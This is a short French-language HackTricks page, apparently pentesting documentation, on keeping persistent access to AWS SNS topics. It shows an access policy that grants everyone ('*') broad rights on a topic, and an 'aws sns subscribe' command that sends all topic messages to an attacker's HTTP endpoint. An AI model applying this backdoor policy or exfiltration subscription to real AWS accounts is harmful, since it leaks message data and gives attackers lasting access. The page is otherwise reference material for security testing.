AWS - SNS Persistence

Soutenez HackTricks

SNS

Pour plus d'informations, consultez :

AWS - SNS Enum

Persistance

Lors de la création d'un sujet SNS, vous devez indiquer avec une politique IAM qui a accès en lecture et en écriture. Il est possible d'indiquer des comptes externes, l'ARN des rôles, ou même "*". La politique suivante donne à tout le monde dans AWS l'accès en lecture et en écriture dans le sujet SNS appelé MySNS.fifo:

{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}

Créer des Abonnés

Pour continuer à exfiltrer tous les messages de tous les sujets, l'attaquant pourrait créer des abonnés pour tous les sujets.

Notez que si le sujet est de type FIFO, seuls les abonnés utilisant le protocole SQS peuvent être utilisés.

aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
Soutenez HackTricks

Last updated